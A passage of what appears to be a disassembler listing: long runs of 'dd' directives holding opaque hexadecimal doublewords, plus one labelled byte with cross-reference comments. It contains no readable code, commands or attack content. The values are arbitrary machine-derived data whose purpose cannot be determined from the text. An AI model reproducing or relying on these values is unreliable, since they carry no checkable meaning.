2B78B344h, 0B13BF803h, 0E2CC24B7h, 71F6E016h dd 9FB82Dh, 0D81F2694h, 3CCED184h, 0CB1CDB00h, 0FB458B85h dd 159F00F1h, 0F658F587h, 0F800D3C5h, 1C551AE6h, 1D723BFh dd 434DD6A1h, 0C80E93E9h, 1F000AEDh, 6CDF90F3h, 514259h dd 27CA7F2Ah, 28BC99B8h, 0DAAED300h, 0FCCCFEEFh, 187D000Eh dd 74D1855Dh, 50000FB3h, 0D99EA934h, 3C2728ACh, 9F008ABDh dd 0ADE304C4h, 0C036A8Fh, 15E5B8A6h, 409CEAD4h, 0EF435Eh dd 66E60A3h, 7EAF3B76h, 4889CE00h, 807521ABh, 40AD0053h dd 95C8A25h, 130065BAh, 0C7CE013Ah, 0E0EF034h, 36D018D5h dd 1A975060h, 0EE005F6Eh, 8CA0969Bh, 7D691006h, 8E733CB6h dd 0C5E93000h, 0F046D4D9h, 1985F200h, 0E1A65872h, 151F0054h dd 23EDB6B2h, 0E0F0A0EFh, 0A270E400h, 83A8AB16h, 7B7004Ah dd 8A93BDD0h, 87269532h, 1E1D5052h, 0C7979C80h, 1CFA5622h dd 802C8F34h, 0A5D05146h, 1500A3C3h, 6F4C02C4h, 0CC81E8h dd 0D9A11065h, 0C0674475h, 305D3800h, 0EB1BA79Ch, 12E709F8h dd 0CD83D4C6h, 65F0260Bh, 6E004ED7h, 40104DA7h, 2D3984h dd 0F7B7218Ch, 93B81BA4h, 743A0702h, 40AE1A46h, 1EEF677h dd 7B56AC20h, 0F889168Eh, 5300D030h, 998CE99Eh, 3BE50AD5h dd 4F80ABF0h, 9102436Eh, 1F03D47Fh, 0CFC19755h, 8BBFD0D6h dd 602D002Eh, 0D41C44D0h, 740046E5h, 67A8F288h, 2CFDD362h dd 6E043Fh, 0C2361F31h, 8FA0A686h, 73E4BADFh, 7C99FC09h dd 156C202Eh, 9F6467h, 723F6DB2h, 5988FD61h, 0F91ED77Fh dd 9340EBDBh, 2169248Eh, 5C5F1D82h, 3104FB53h, 0C0227B3Eh dd 0B53AE14Ch, 328E3300h, 0AEC3FF43h, 0B3810F6Dh, 4DA00874h dd 0E4262EC2h, 99536F00h, 66847822h, 271F005Eh, 61A30BF5h dd 8300E849h, 86ED9ECAh, 1F4F9170h, 80EC65D9h, 0EAE0A923h dd 2A00AD0Fh, 7A9FBD89h, 7F084134h, 51263E1Fh, 0D6F0680h dd 876C548Ah, 0CFD16E0Eh, 0C071CF7Fh, 73B736CEh, 3DD493FAh dd 8C0F2200h, 27653EC1h, 2F9A5400h, 24FE0B8Ah, 0E0FC60E1h dd 0CBBDD1A9h, 0C1A52D07h, 45303044h, 3B43B5C2h, 0C70341C3h dd 2CDDCD48h, 91BA85F0h, 226D1F00h, 45F5A023h, 872939A8h dd 3FC805A6h, 0C5BE93h, 59492FBCh, 5B1325A9h, 541CBA88h dd 203A94CBh, 2263FDDCh, 109E3D2Eh, 7CCB26h, 235BFDCh dd 97007B0Fh, 4BEC681Dh, 0F42E40h, 0C97FBC39h, 6F243E37h dd 0BACD0600h, 0F39E0C19h, 3440C0CAh, 488AD7C3h, 0B165D400h dd 9FAF8240h, 67EF004Dh, 6F0516CDh, 0BC9A94DDh, 0FF6B3101h dd 0F9878D01h, 0B3C064h, 0C5352E6h, 69679523h, 0D6FAA500h dd 0E405093Bh, 5EE93AFDh, 8109D24Ch, 0CA0091F5h, 0C8CDD61Ch dd 63008B7Fh, 1482B118h, 6DDE2DAh, 0E860B246h, 0D05F80Ah dd 1733AA41h, 0F508405h, 53658D0h, 0C098DFh, 27B75A94h dd 0D9460975h, 31748D3Ch, 0C92130FBh, 0F4A452F0h, 36C700F9h dd 8A2BDDB9h, 33FCFB3Bh, 56E0C000h, 5B684311h, 55B9001Fh dd 3C729BC6h, 0DF3D1C4Dh, 0ED2101AFh, 5EC8399h, 0E397D850h dd 26CCF4A2h, 6CFAF4h, 85750477h, 0CE009411h, 95A91D0Eh dd 3DA90B8h, 435898EDh, 6780E580h, 2212B208h, 7C83A01Fh dd 0A713B32Ch, 163EDAF0h, 0C2D701EBh, 9C47E1A7h, 80D85539h dd 587C18FFh, 1CC07400h, 2DF67F0Eh, 93C700BAh, 803A6502h dd 0B2471F0h, 2F801CB7h, 0C8F8FB70h, 867D10h, 0C373D464h dd 0DA2CE928h, 0A8B0A600h, 0AB4B8590h, 22B80DF3h, 61982595h dd 50998EEDh, 5CC60DFh, 7D6784Bh, 0B353EBAh, 0C091C5ABh dd 0D8F3E369h, 9D8D48h, 57061C71h, 196F0464h, 5051755Ah dd 0AC2C708Eh, 8B6E6A00h, 0F52111BDh, 0BAA1003Fh, 3D2B74FFh dd 0BC3AE7B6h, 0D78704B9h, 3490A011h, 72C4D3h, 0F35735CCh dd 60331BDFh, 0F554AA03h, 0B0757CBBh, 0B7772Eh, 55C8E4ACh dd 1ED2D96Dh, 6515B600h, 0C9769748h, 34241DD7h, 0C2CE8018h dd 0F8511E43h, 3244C600h, 0DF9B887Fh, 1C3E83Ah, 56BDB1B5h dd 0D4133477h, 1C0253C2h, 0F260EA87h, 990603Ah, 0C08376ADh dd 35C16C20h, 616E731h, 2D0047DAh, 72CDCEDEh, 0FE54E4F6h dd 0ED9075Dh, 0B06A8A84h, 9BEBE0EDh, 83EED400h, 0B918AEE3h dd 7073029Eh, 5E177271h, 0EC148440h, 33F60C76h, 410783EEh dd 18529F88h, 0E149BF10h dd 0D73C2895h, 887860BCh, 2B76B334h, 50402A00h, 0CD661A65h dd 373A0036h, 496AA8AAh, 91050E34h, 0E892B823h, 388B8402h dd 16E1E01Ah, 780B00BDh, 2C30D3E3h, 0A400A8A7h, 0CDD77C1Fh dd 0F9BBD8h, 1B5F8066h, 60DE0B46h, 0A4398303h, 0F0071C3Eh dd 0A7B694h, 32F1AA8Dh, 0A26AB58Ah, 0B890400h, 79907BAEh dd 234A0088h, 28BF85B4h, 9D002E6Ch, 713C5C50h, 0FF1B3Bh dd 16B90B45h, 3017032h, 0CC42800h, 2D7A3117h, 0E2530089h dd 0D3D7E4F8h, 50005EE3h, 5DD59B44h, 80AF08h, 4BA46F82h dd 0DCB1E956h, 0E0663802h, 4018F786h, 0EC5C7638h, 0C88C0019h dd 0D3328108h, 444CF396h, 157D2C07h, 0BC6A4500h, 1C3F6B2Bh dd 802F8CCCh, 62F0678Bh, 691E3B13h, 3A478FBDh, 425460B3h dd 0E18E5CD0h, 3E24E857h, 1212FEBBh, 37908089h, 1676D33Ch dd 0FF006098h, 0CEAFF5EDh, 0EC66AD65h, 0DB920EB0h, 69EAC8F6h dd 3FF103DBh, 0CD9777h, 88E76CC0h, 8B0EA0C1h, 6080A4D4h dd 0B712177Ah, 7F2506A5h, 9032E7F7h, 60DFE248h, 6D9AF90h dd 8079D7h, 54FCF996h, 0B56CD6CBh, 0E5931800h, 345E05DDh dd 12F401C6h, 6D752070h, 790E80E4h, 0C14CE7B0h, 418700A2h dd 86C3A834h, 43016C81h, 0DC68E348h, 0DED41A4Ch, 677F00E1h dd 152A3FA4h, 71F8C739h, 1E878100h, 1B5CC192h, 27AC00FBh dd 0BE458AA2h, 0CB0017BCh, 470CABB0h, 10640Ah, 0AE54DFD0h dd 431FDBB4h, 0F9C84E61h, 0D92052C1h, 6675F4h, 0BEFA305Ch dd 2960BACCh, 81396A00h, 0EC8574D7h, 370A0ED9h, 1040F6F2h dd 52DCC99Ah, 0F338A37Fh, 0ECB780C6h, 0CDC53DE9h, 638E00CAh dd 3C7D8533h, 0B5E0AA4Eh, 0ECB6048h, 6361C9D8h, 88092B21h dd 22ACB80h, 9AFC1D12h, 5C71940Ch, 42EBB00h, 205A1F2h dd 0B65A82D7h, 411039h, 608B21F4h, 0DEF4E5E8h, 0C51DE909h dd 1F080CFh, 19542Ch, 5EED0AF9h, 79FE66ABh, 0CD551102h dd 0E068B561h, 0E58F70h, 0D32D150Bh, 3091951Ah, 12A4DD01h dd 38B6EE4Ch, 5651D8h, 2A9BBC25h, 2F160B1h, 58DD1201h dd 0AFF9382Bh, 0AD411065h, 0A42054F8h, 1DF30769h, 0D0B9AC51h dd 0BD17E172h, 3D145C09h, 7134077Fh, 360580Eh, 77501C95h dd 0AD86C5Eh, 9AD0A161h, 34A1F92Ch, 30011458h, 1300B39Fh dd 76D29754h, 0A08A4B10h, 13AA20BAh, 41AB3B72h, 45CF2CF4h dd 0E870D6B1h, 0A8C2CD00h, 0E2B526B0h, 0A57D0031h, 0E927F6B9h dd 35003997h, 6D0FA40h, 0E36CA10h, 0C09E5B6Ch, 0A025D6A7h dd 5785C279h, 811E6FF8h, 2A475A8Eh, 0D0D0CB97h, 0FF6DC8Ch dd 7499BB77h, 0E7C1ED3h, 0A406654h, 532636E0h, 0F003971h dd 0F4F524D1h, 14BC65Eh, 9D0E1F18h, 0FF95E3BDh, 0A10958D8h dd 7E03AF78h, 0BAAD2288h, 0A64A8003h, 0D2211E68h, 0D17092Ch dd 47266980h, 4D0534BBh, 27524441h, 20F9C80Ch, 68B079h dd 78EF310h, 9404B395h, 8330153Fh, 0EDFE9806h, 755480DCh dd 25BFEC42h, 6080D2F3h, 0E559C658h, 0BD7AC5Ch, 81CB6DE4h dd 8A985F58h, 1CE04D02h, 0A900D8BBh, 84517333h, 0B0D4B7C7h dd 26A30080h, 0BEA06611h, 31E69504h, 2000B094h, 80B9A26Bh dd 30A4A45h, 0CAF0EECh, 7647B8B0h, 0D2010C90h, 94CA2EF9h dd 2020DF31h, 0F1540063h, 76246BFBh, 8C71F545h, 1E003BF6h dd 0AE44CC96h, 6650D16h, 37ECC3C9h, 0D60406DBh, 0C5AAB197h dd 0D85A2C91h, 0B5006036h, 0DDCF0FF8h, 13050573h, 1C0E7E46h dd 0B0F20CC0h, 0C7FB0E8Fh, 0B80B496h, 1EFC2E1h, 7DFC224Ch dd 2BF7E09h, 2C2400D1h, 1796ECFCh, 986299h, 0DDB68EE0h dd 6F3A9335h, 5801CF52h, 0C72E0886h, 0E5DA4C70h, 0F8596C60h dd 57A70099h, 0A240AE66h, 0C4002CCCh, 0D94C52D7h, 3D5340Bh dd 8BEC3377h, 8EA97D19h, 0B71C207Ah, 117C1A00h, 725B014h dd 0F33C0061h, 0FC34B662h, 0C34A9A83h, 0BE7C13h, 0D9E8A5B2h dd 69017F02h, 71FF805Bh, 36800188h, 991A975Ah, 0E8007E98h dd 72F93ED2h, 4E1B6FEh, 626404D9h, 9D8CC05Bh, 0D4F45097h dd 132E0C90h, 0C79CCCEDh, 582B55C0h, 0F190D04h, 3D094CB0h dd 0BF2F66C0h, 0FCF785AAh, 0DF00F07Ah, 0EA283010h, 0CB2B40h dd 0F2FF66B9h, 0EF745C80h, 3714D218h, 9F8630h, 0C3B6612Bh dd 0B7A4586Eh, 62C34D75h, 9056DF12h, 61B4C1h, 0CA5A8175h dd 0D8A929FEh, 0BA874200h, 0A683C5F9h, 1D4B7D6Dh, 80C7110Bh dd 0B32367FCh, 0B100944Eh, 82F5AFACh, 0EEA069F1h, 5C95EEEAh dd 84400CDAh, 21522F2Eh, 100DB76h, 0F210E8E3h, 20640083h dd 8880071Dh, 0B00045A8h, 62C64209h, 57423DCh, 0C7A75915h dd 4D48E07Ch, 0AD004CB0h, 0A06CE58Ah, 0CFD42A8h, 0D2AF156Eh dd 620011B0h, 0D6203E69h, 0E102D70h, 6F9E835Ch, 0CC9A17E0h dd 0FF002AF9h, 16CA95DAh, 7527D3A8h, 63560194h, 4E6E5C40h dd 80782066h, 0E7078A1Dh, 68D1B407h, 982CA00Bh, 0C00EFBECh dd 0E1327890h, 8C37B3Ah, 1FD75C66h, 7D27E18h, 3F849E58h dd 0F5302F47h, 0EAC2033Eh, 20126F44h, 94C02779h, 58EF153h dd 0C3960782h, 1EF0E012h, 0B1717C00h, 0BE05A56Ah, 0C18A005Ah dd 0FB38CF87h, 1802E28Eh, 0E5AE80DDh, 3FA02222h, 98C617E3h dd 281F5B00h, 0B19F54F5h, 0D8EB00B4h, 7080F0DAh, 0AA0184D7h dd 3A4E6F10h, 59C4380Eh, 0D025030Dh, 0EFB6DCEAh, 0A9438200h dd 732E8504h, 77E424D3h, 3EA60066h, 968FE6E1h, 1A23139h dd 0F0536B6Fh, 58384FA5h, 612DED00h, 0C2DF90B9h, 0A778010Eh dd 0E1F98CC1h, 61443B8Eh, 4C5A2200h, 49741992h, 0F9F1F615h dd 0E3E200B0h, 4F2A149Ch, 0A28D00C5h, 300771FBh, 4D007F82h dd 0D3DA6480h, 31E1877Bh, 5339E6E2h, 5D22D0DFh, 0AD112167h dd 8EB10D70h, 0F832079Bh, 46314397h, 0C41D2115h, 0A4C10EBAh dd 0FF5E45BBh, 779F1980h, 0DFFEB6ECh, 0C724F106h, 0EC113A5h dd 69D2892Dh, 888FB3C0h, 0E6FF275h, 7C84A2A0h, 3E3263BCh dd 0AD0CDA10h, 0F3A1F8E6h, 56C6D500h, 12E1E27Bh, 4C09DBD7h dd 0DD132000h, 0CE595EC6h, 68E628C5h, 23E5000Ch, 0B934A4F0h dd 640091F5h, 332275E3h, 1D6604h, 5D5B16A0h, 68EEBA8Bh dd 7580FB05h, 4401C712h, 27DE9C02h, 4E7D1080h, 317242A9h dd 579AAA0Fh, 6B3B40E1h, 705FBE3h, 0C60BB7F6h, 11CC70C0h dd 0C901375Eh, 0E165F13Ah, 30600DE4h, 593403F8h, 9EBA5F45h dd 44884FE3h, 5A006578h, 0C0B22F96h, 34DBB8h, 8D89BE9Ch dd 75D674ACh, 650C0B0Eh, 2A2FA5A2h, 0E0292980h, 33BB0388h dd 7A9EC174h, 0AB0C0AB8h, 0FF90773Dh, 0B80C3A7Bh, 9EFF2D8Fh dd 0B6500040h, 0D86B7859h, 0F503557Dh, 91E94C4h, 0EF7C3FD2h dd 5D9C6480h, 0C871FE8Dh, 9EF9DB00h, 797F01A7h, 0CD210E4Bh dd 0AAC0531Ch, 997037ADh, 968CF300h, 8283DF35h, 6C65009Ah dd 0D66940AFh, 0B658D271h, 0F62900E3h, 39A9AA8Ch, 3EB3005Eh dd 666E3DDh, 0BC016C60h, 0C0A437D9h, 21809121h, 0FDC750F6h dd 20A7848Fh, 0C1F94B08h, 71AE4E35h, 8CF1C457h, 1F024F07h dd 0DA41ABC7h, 0E13A2260h, 2170E7CEh, 0CBBE5A00h, 15D9C5B4h dd 0BF4F02F9h, 0B6AB0BBAh, 993440D5h, 64AF0091h, 6A9CACF1h dd 3B034F8Dh, 407F48Ah, 37AA389h, 6A74A521h, 0A9B09CAAh dd 0BD0653ADh, 2C87F3A0h, 288C6710h, 0D59F40E7h, 10C5865Fh dd 4883A4D1h, 2963D878h, 6A09CC71h, 0DC063121h, 9C9B8B81h dd 94220069h, 643A751h dd 0FC00EA0Fh, 6AB832A4h, 74C9A3CDh, 79CC144Ah, 5D11A894h dd 468D0A87h, 0AF01A43Bh, 0B7A1F14Ah, 4480AC57h, 38985137h dd 327792ACh, 0A6083AE4h, 0E9AF9480h, 0DFC51AAh, 0B731A00Ch dd 1FF91958h, 0FCB38Ah, 83553961h, 9EFBB4C4h, 10A4CFF0h dd 0EE4380A0h, 0DD007423h, 0F779ED81h, 0F4608667h, 80B53231h dd 22DB0046h, 0C7E1D460h, 0B9C03588h, 10093750h, 13FE895h dd 9D71C022h, 80F5AB2Ch, 1E061341h, 612D52DFh, 0CC0FF158h dd 7D818F5Dh, 36A5607Ah, 3DC2EAB7h, 0BE8019E7h, 0EB54D73Ch dd 700D5AEh, 50944CBDh, 0CF849E4h, 0DB23480Ah, 3600F619h dd 0A39932C3h, 3A5149E3h, 0C530E2ACh, 0C3DEF521h, 8A2C0901h dd 16779C04h, 0B4D61880h, 872D2402h, 0FF587C0Fh, 0A0E1EFCCh dd 3498C09Fh, 62C2003Bh, 0D43DF8E5h, 0A71E9DB6h, 0A6587E1Fh dd 47E740h, 0BB0325A2h, 438AAA68h, 216D08CCh, 0EEBF7EACh dd 7DD20FC0h, 0E04211F1h, 8920E95Ch, 0F5B9D04h, 0BF20ACEFh dd 218EA48Fh, 0D64B82C1h, 6014FD07h, 1F060505h, 873DEC4Ah dd 21A16008h, 539B317Ch, 4D3BDB00h, 0A78D4981h, 51C801BDh dd 4CA3B7C7h, 89284820h, 52D9B08h, 4CF4C217h, 9B11000Bh dd 33757FDh, 149183CDh, 70F70394h, 0B23D2FAFh, 0A978B601h dd 897D791Dh, 468C58A0h, 3BE021Ch, 314302E9h, 56C71072h dd 0EF6C00A2h, 412E3F53h, 0D1504525h, 4A146FD8h, 0E66A7Bh dd 51ED54ABh, 5D58D2h, 0FBBFD941h, 185B2F6Eh, 0E4087E2Ah dd 403D3601h, 4EF4B2C9h, 0A8A21023h, 269B30h, 2C76E9A5h dd 50AD5704h, 15FBAE0Ah, 9401D4E8h, 24BE0AFAh, 0C3342C50h dd 93992330h, 0EF4439h, 1760C3DCh, 0F4DB41B7h, 0C1922300h dd 0E0E60435h, 5C4A1DDDh, 47317324h, 10D830CBh, 0DA00B0E8h dd 85536D66h, 4A2036h, 43A3165h, 25A8210Bh, 38D0F130h dd 0EBE464h, 8323D4E3h, 45FF0916h, 4A24EC2Eh, 92A18A01h dd 240284h, 12AD00BDh, 0CB315638h, 9DB897EAh, 14B3B000h dd 26E2EB99h, 0C091DEE1h, 63A5EAD4h, 0BE002A7Fh, 0DAFE92B5h dd 0CFDE51Dh, 0BD77F94Eh, 0DE90129Ch, 0B50D3F00h, 2EDED65Ah dd 6CA1C0E2h, 0C45028EDh, 82CF3103h, 0A3CBE9CCh, 892100D3h dd 7B222905h, 4AF4C4C1h, 24D249h, 432A5E98h, 0AC6C0AFBh dd 0C3320FE8h, 0E2C89916h, 1140BA64h, 0C818C33Bh, 1D623D00h dd 83048C9Ah, 0D15491C2h, 445186Dh, 0E28440D2h, 0E28487B9h dd 98495F01h, 0D8F091BDh, 0B1291387h, 0CCC21C4h, 0EB8388DEh dd 7F4D2801h, 0E025E775h, 96361984h, 4091C73Dh, 97E1F4D4h dd 0F98E1D00h, 70FA1ACAh, 602DE6D7h, 0FE04797Ah, 7B00AB50h dd 704EA1F3h, 0F35675F1h, 125F89F0h, 35322AA3h, 0B5600314h dd 0D0E7EDDCh, 0D44C83C6h, 0BB260D00h, 0CE4AB73Eh, 232D11AAh dd 750071D2h, 49287702h, 17E0A17h, 0D053926h, 7060B82Eh dd 2548B331h, 2A458060h, 874D1Ch, 805B2CB2h, 0B54BCE23h dd 0FF501900h, 8BB32562h, 1289F424h, 50E83546h, 1923CCE0h dd 0EBA26101h, 2033CB02h, 3B92E80h, 0B70C905h, 5597B000h dd 0A1562098h, 0D4F84814h, 288CADBCh, 3C819A02h, 8C9DED5Ah dd 5F848028h, 31852096h, 25A4D754h, 9E3980EBh, 0A04323B7h dd 0A3020245h, 2811F4ABh, 8A928D60h, 0AED35603h, 253547h dd 0FA3DFDE9h, 0CDB8E588h, 0F0DA0A2Fh, 5651C075h, 0D0943C85h dd 0D9C02C91h, 3173B9Bh, 3FDEAA31h, 8007239h, 7A1A595Dh dd 713B73F0h, 947007Eh, 1BCB399h, 0BE066051h, 5EB9F98Ah dd 0A9A10028h, 1C89EC9Dh, 827D0493h, 50D5D20Eh, 4055C8F6h dd 0E1CDCB1Bh, 0C7116267h, 4FEBEFC1h, 0AFD97180h, 0CA31033Bh db 54h byte_520045 db 0E1h, 48h, 0B7h ; DATA XREF: ___:004385A0o ; ___:004385B8o dd 87FC31C0h, 0B8F7903Bh, 9A6D0037h, 587573A2h, 0E22A82FDh dd 0E8462C15h, 923B701Ch, 2C9A1132h, 8F00B622h, 4DB03BA8h dd 54F0459h, 0E8402D0Dh, 5BCD8109h, 0BF97E8E7h, 0F130E554h dd 3B75058Ch, 23BA310Dh, 21585C5Ch, 0D63B00D4h, 150DF030h dd 0D06A1F82h, 306AC22h, 72BC7B42h, 1D3F41B0h, 9A987A50h dd 0E6FC9D00h, 68B64B0h, 186360F8h, 770F0DFAh, 0D4501507h dd 0D5079D32h, 218346h, 0E50F05BCh, 14172907h, 2D23AE00h dd 2FCC9550h, 119C00A5h, 0D762F56Bh, 0AA00218Bh, 0C5F335E7h dd 0E5BBB1h, 30020669h, 22A2B8FCh, 4DB39200h, 0AC0BD228h dd 10F300ADh, 6FF593CDh, 0EC00FF9Eh, 0EFC82548h, 8C6D69h dd 8D542379h, 380AE3F6h, 9E9CAA07h, 4B20FFF4h, 0A9BF50h dd 6422CD60h, 446F2E43h, 0D8C048h, 9935D428h, 69EE50h dd 8F25E892h, 0CC49D5CBh, 0E729B4C0h, 9BE285h, 36B7A593h dd 0EED42F7Ah, 0EF2C138h, 173CBBh, 0C62ECDD2h, 238030Eh dd 3FE75EC9h, 88AA5CF8h, 0C3049600h, 0F07D8EA0h, 0CE570043h dd 0D5C0A9C9h, 0D64E1568h, 4D9B1C80h, 0BE9E0192h, 36B8D85Fh dd 20EBFB29h, 12415CEAh, 0C7804482h, 7FD301ADh, 0D019DDF3h dd 9630ED1Ch, 77AA80E9h, 35A500F2h, 0A3563767h, 3D031580h dd 16079AE1h, 0CF87C8B1h, 0DA0B20A4h, 28246000h, 0FD536EEEh dd 801B044Fh, 40D03BC0h, 0CC8E7EC1h, 0EBF200FAh, 0F6056FF8h dd 65EC8F43h, 58358800h, 5C87AAFEh, 49C0A039h, 0DFCA3036h dd 95985140h, 3459A0A0h, 0BA0EEA79h, 0C06A9603h, 7AAAACC0h dd 0EE4000Dh, 810A18F1h, 1C308D9Bh, 366641C1h, 2AC601D4h dd 6CEB189Ah, 1684F0F3h, 0D0C00263h, 0AF22E8BBh, 3A7E58C0h dd 0AECB0D00h, 3BC9CABCh, 640ADFF6h, 0A0384F33h, 377DC700h dd 746B5C8h, 5BF0B369h, 33DCA0BAh, 0CA00408Fh, 623662Eh dd 396D621Bh, 0AC4EA2FDh, 5E090021h, 0E89F4A15h, 44B60012h dd 0D9BA6380h, 0F90786A6h, 0AA6D8491h, 8F5B0EC1h, 34353F8h dd 17BC5481h, 10A391B3h, 82574003h, 0E04B97DCh, 1DE8AE7Dh dd 0A4E9F93Dh, 8C640440h, 0D9A00C4h, 920C739h, 47802B8Eh dd 40858000h, 0F87921B0h, 90041D09h, 0B9FC0063h, 3A1FA7Eh dd 0C1F07134h, 0C0832906h, 9BA4BAA0h, 52CC090Bh, 0D20E5DA1h dd 33B4DE23h, 0C66CB6F8h, 16CA58h, 0AE09D08Dh, 70A5E2A4h dd 3900026h, 3E8AC3D1h, 0C0017A9h, 5AB3330Bh, 3C55A4E4h dd 8C034792h, 96563CDEh, 5DAE680Fh, 0B1F80051h, 0D5E24Eh dd 6B46783h, 0EC751FE5h, 5FACD803h, 843556h, 630D5030h dd 6D974E59h, 90CF60F7h, 51D81F13h, 39FD3200h, 0E41B47h dd 0D7336730h, 4292586Bh, 0F196840Bh, 803C80C5h, 0C087590h dd 2F343E72h, 0C283330h, 820080B3h, 0F6EBE30Dh, 0F8A78Fh dd 7592BFE9h, 9CFE4313h, 83A58000h, 0A48FF5D1h, 0F9FB0A77h dd 70203C55h, 8CB23Eh, 7D859BE7h, 4AA3D053h, 9392060h dd 0AA1FBCEh, 0C0E87133h, 4B8064CCh, 578180E9h, 1EF56D8h dd 258C592Fh, 57950D03h, 87E82A8h, 4F83CC80h, 0A00C7E7h dd 2A2E5DF5h, 1803062h, 0ADEB46E3h, 952221C5h, 0F804AE59h dd 794E688Bh, 798909E3h, 0BF1BCD80h, 9D0FF0C8h, 87850942h dd 35C0D02Eh, 7C2AE9AFh, 1F0F7C81h, 4DDE8B8h, 0C3A0749Fh dd 5903A548h, 0D91D1BF7h, 0E8504084h, 9B51C1CFh, 24480D04h dd 4603990Ch, 763C7F29h, 6183E0D7h, 2F8F0FF4h, 30A065C6h dd 0A325B805h, 0F0857419h, 86E2A6B9h, 0CD12C60h, 6550CAB0h dd 790F0E59h, 0A19FBD7Dh, 5528FF3h, 48F2704Dh, 5CB730h dd 0DB12327h, 0FEA1C67Eh, 7AF3405h, 800080B3h, 0A5C5924Ah dd 9C330306h, 41020367h, 0C4356905h, 4C658D23h, 0BBBD5804h dd 0BFAF051Fh, 2EB44E76h, 414750C6h, 7FB5F70Fh, 0ABA9780Dh dd 0D46D31E0h, 0BCB22138h, 8C6B0A59h, 448F89Fh, 88517077h dd 0CD46150h, 741E0324h, 3A85003Ah, 8FA0049Eh, 7E2090A5h dd 26F90F51h, 325D0C9Fh, 6C109929h, 82289A2h, 2D2B4486h dd 0A3462284h, 22F85622h, 414223B8h, 228EB011h, 275005Ah dd 0E8E10DBAh, 95F4DF7Bh, 38009877h, 74540833h, 776DDB75h dd 0A3640047h, 0FFC73C2Eh, 0C2FAAA85h, 3ECC1D00h, 0B9A55370h dd 725FADAh, 71FC9AC1h, 5B919090h, 51003BD5h, 5C3E4D85h dd 37C20BBh, 1D33CFE4h, 4D0D8DEh, 8F008109h, 4AF5B731h dd 72D607Dh, 0C873CC6h, 9CA26034h, 8A0703BFh, 418DCA43h dd 164EBA80h, 7E9D02FDh, 2D79F37Dh, 0D871C0A0h, 7F00EBDDh dd 0E1E68AB3h, 12041D3h, 0DB9C9FA8h, 0F3FFA634h, 0C6C042C3h dd 2F01A252h, 0F37C5C91h, 40347E85h, 0A796073Ah, 60F01C40h dd 4E535446h, 0A606A07h, 0BEE03083h, 0EE438DD9h, 0BB8008Bh dd 6DD1CE11h, 1D006053h, 93C7D720h, 0B976C9h, 29A5FEBEh dd 0B4895039h, 77AD8F00h, 7693191Ch, 4505074Ah, 774FF9CBh dd 0A4A05078h, 563095F2h, 4B20B8E5h, 0F308000Ch, 0D11DC5Eh dd 0D3E6FC8Ch, 12792F00h, 2E9E52DDh, 679D014Dh, 478FD405h dd 0BDB0FC26h, 0AEC05000h, 0C69338CAh, 6F60F1Fh, 0EFA01573h dd 1765F22h, 87A4A93Eh, 55A87F28h, 40EC0FAEh, 0C746D2ACh dd 0B1F100DAh, 0A6E0D12h, 0D53989B0h, 0EDCA80CEh, 5A8CF87h dd 4EE0005Dh, 22B323DDh, 3E48517Ah, 9C2D073Ch, 0C07F298Dh dd 0D253144h, 0F1F93C19h, 8E6EFE80h, 832FD858h, 84C12B00h dd 0E7B1DE7Fh, 3D87E07Ch, 782E74h, 0BA9AE9E6h, 146FD795h dd 20DF831Fh, 2EFA7DC0h, 386C0CEh, 2519D265h, 0D9F8E492h dd 1118E37Ch, 0D1700C85h, 9E7A54h, 9C45FFEEh, 0B34B6234h dd 94F6B0A0h, 0F1196309h, 650C00B2h, 204964A8h, 24105706h dd 7A00A468h, 301CA32Ah, 0AE00A076h, 97FC80BBh, 24F2F3h dd 89FD5E2Ch, 2FFF98BDh, 615BD203h, 0EBA71D53h, 7F880029h dd 1208B78Ah, 70DDE745h, 0AF5DFCC0h, 0D9E52Bh, 149892AEh dd 3EB4A0Bh, 0ACDA4707h, 296045E7h, 3D1D39B7h, 16801FB9h dd 0A238C23Bh, 74002E24h, 15677EE3h, 5D2DF2h, 0DF7187C8h dd 6536E91Ah, 1E00447Dh, 97725F94h, 0EC711EEh, 50961342h dd 2B9B5620h, 0E8C3F609h, 0B8A06B0Ah, 0B984D5h, 0FE089848h dd 2A3B366Dh, 0E1B35800h, 6466707Fh, 0F0470035h, 0B9038C4Fh dd 0C601E51Eh, 98FE3783h, 92D89554h, 68150030h, 0C2293188h dd 4C07EE6Eh, 0FD1F6B9Dh, 8E0B6D71h, 1B5EC60h, 0F43F6F0Eh dd 0DC0D4CB7h, 0D00058F9h, 0AD9D5D26h, 0D61AAFh, 0EDF6C589h dd 73D372CEh, 578B0600h, 10FCDBAAh, 9A561397h, 7A8FB01Eh dd 41945216h, 0A8F0B41Ch, 18B2D5h, 0A70CFC9Bh, 2C6CAF84h dd 0C1088200h, 22111C3Fh, 6987008Eh, 3D1878FBh, 0DB00E5ABh dd 0B5D29BCFh, 3227FAFh, 80A3F2E2h, 98F93ABDh, 0B412CCD0h dd 0E8C0947Ah, 54C04EA8h, 9C2E004Dh, 3A16902Fh, 7B005DF3h dd 55CE2D0Dh, 7F65B1Ah, 6FE739C0h, 792AF17Fh, 0D01E8069h dd 6B0F541Fh, 5B240071h, 7A5A3C8Fh, 0EC037253h, 6F027CA8h dd 522C8892h, 0A354011Ah, 973628BBh, 0B1EFF8FCh, 44B76B00h dd 0D40D2A6Ch, 4BB822h, 5099AA66h, 0B1F37962h, 8F9A9D00h dd 6353BD25h, 0A6FD00C9h, 48108B12h, 0E200B3A5h, 7C13D77Bh dd 2A4427h, 4EFD18C6h, 6951F6F0h, 5DB82605h, 2782D252h dd 7B84C00Ch, 0D3AB0ECCh, 0F21310h, 61663F1Dh, 0D5727D23h dd 0EDB10D09h, 0F9C20016h dd 27C6C2h, 722B6BF6h, 3A439169h, 1EC6148h, 0AB1CA9FCh dd 24306A7Dh, 5AAD13E9h, 73EC27D1h, 0DAE08DB1h, 70006371h dd 0D528C433h, 781E6h, 53E9A25h, 797FC272h, 0D49B39h, 0B0D6CEE0h dd 0CE0AE2D8h, 0EB4073B0h, 9CE5E82Bh, 0F70C8000h, 54E41B79h dd 2635020Dh, 6A8EDA89h, 0F54AF360h, 0F60E4D00h, 0D9811B2Dh dd 79E3009Bh, 0C6A44640h, 2664A174h, 0B8211B1h, 3D589C8Ah dd 0E980C19Eh, 0D96CBED4h, 38C0B1BAh, 644D520Dh, 5C33022Fh dd 6C8BC563h, 678F2C40h, 0EEFAFE07h, 0AF101028h, 186A5106h dd 0D1D9B3F7h, 5F8EF43h, 2E5CF500h, 0B40F44Ch, 6A6F00FAh dd 18CB9917h, 0D91E4DA8h, 0C2448008h, 21C0F48Fh, 13F398E8h dd 0CD1F6D8h, 4910E919h, 0F5026178h, 9A95552Ah, 9BF4A088h dd 